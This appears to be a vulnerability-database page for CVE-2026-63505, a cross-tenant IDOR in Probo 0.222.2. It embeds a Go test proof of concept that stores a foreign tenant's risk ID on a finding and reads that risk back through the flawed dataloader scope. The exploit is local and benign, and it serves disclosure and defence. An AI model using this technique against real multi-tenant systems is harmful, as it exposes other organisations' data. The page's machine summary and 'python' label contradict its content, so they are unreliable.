Probo 0.222.2 - IDOR
Probo 0.222.2 - IDOR
AI Analysis
Technical Summary
Probo versions up to and including 0.222.2 contain an IDOR vulnerability identified as CVE-2026-63505. This vulnerability enables attackers to access or manipulate resources without proper authorization by exploiting insecure direct object references. No detailed technical information or exploitation methods are provided in the available data.
Potential Impact
The IDOR vulnerability may allow unauthorized users to access or modify resources they should not have permission to, potentially compromising data confidentiality or integrity. The severity is assessed as medium based on the nature of the vulnerability and the lack of reported active exploitation.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access controls and monitor for unusual access patterns related to object references in Probo.
Indicators of Compromise
- exploit-code: # Exploit Title: Probo 0.222.2 - IDOR # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/getprobo/probo # Software Link: https://github.com/getprobo/probo # Version: <= 0.222.2 (fixed 0.223.1) # Tested on: Linux # CVE: CVE-2026-63505 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (idor_test.go) --- package idorpoc import ( "context" "fmt" "testing" "time" " http://github.com/stretchr/testify/require " " http://go.gearno.de/kit/pg " " http://go.probo.inc/probo/internal/test " " http://go.probo.inc/probo/pkg/coredata " " http://go.probo.inc/probo/pkg/gid " ) // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant // IDOR in the Finding->Risk relation (console v1): // - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store // req.RiskID with no scoped validation; coredata Finding.Insert has no tenant // FK on risk_id. => an org-A finding can reference an org-B risk. // - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the // *finding* (org A), then the dataloader (dataloader.go:223) scopes by the // *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk. // Benign marker: a sentinel risk name created in org B is read back through the // org-B-scoped load that the resolver uses. func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) { t.Helper() tenantID := gid.NewTenantID() orgID := gid.New(tenantID, coredata.OrganizationEntityType) now := time.Now() err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error { _, err := tx.Exec(ctx, `INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`, orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now) return err }) require.NoError(t, err) return tenantID, orgID, coredata.NewScope(tenantID) } func TestFindingRiskCrossTenantIDOR(t *testing.T) { client := test.PGClient(t) ctx := context.Background() tenantA, orgA, scopeA := mkOrg(t, client) tenantB, orgB, scopeB := mkOrg(t, client) _ = tenantA const sentinel = "SECRET-ORG-B-RISK-do-not-disclose" riskB := &coredata.Risk{ ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB, Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated, Note: "internal", InherentLikelihood: 3, InherentImpact: 3, ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(), } require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return riskB.Insert(ctx, tx, scopeB) }), "seed org-B risk") // --- WRITE GAP: create a finding in org A referencing org B's risk --- findingA := &coredata.Finding{ ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA, Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen, Priority: coredata.FindingPriorityMedium, RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId CreatedAt: time.Now(), UpdatedAt: time.Now(), } writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does }) require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded") t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID) // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) --- loaded := &coredata.Risk{} readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID) return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID) }) require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request") require.Equal(t, sentinel, loaded.Name) t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name) // --- CONTRAST: proper org-A scoping would NOT find org-B's risk --- contrast := &coredata.Risk{} cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope }) require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)") fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr) }
Probo 0.222.2 - IDOR
Description
Probo 0.222.2 - IDOR
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Probo versions up to and including 0.222.2 contain an IDOR vulnerability identified as CVE-2026-63505. This vulnerability enables attackers to access or manipulate resources without proper authorization by exploiting insecure direct object references. No detailed technical information or exploitation methods are provided in the available data.
Potential Impact
The IDOR vulnerability may allow unauthorized users to access or modify resources they should not have permission to, potentially compromising data confidentiality or integrity. The severity is assessed as medium based on the nature of the vulnerability and the lack of reported active exploitation.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access controls and monitor for unusual access patterns related to object references in Probo.
Technical Details
- Cve
- CVE-2026-63505
- Version
- <= 0.222.2
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52650
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Probo 0.222.2 - IDOR
# Exploit Title: Probo 0.222.2 - IDOR # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/getprobo/probo # Software Link: https://github.com/getprobo/probo # Version: <= 0.222.2 (fixed 0.223.1) # Tested on: Linux # CVE: CVE-2026-63505 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored... (4876 more characters)
Threat ID: 6a838813bf8831d539a900b1
Added to database: 08/17/2026, 22:15:47 UTC
Last enriched: 09/30/2026, 21:04:51 UTC
Last updated: 10/01/2026, 21:29:23 UTC
Views: 92
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.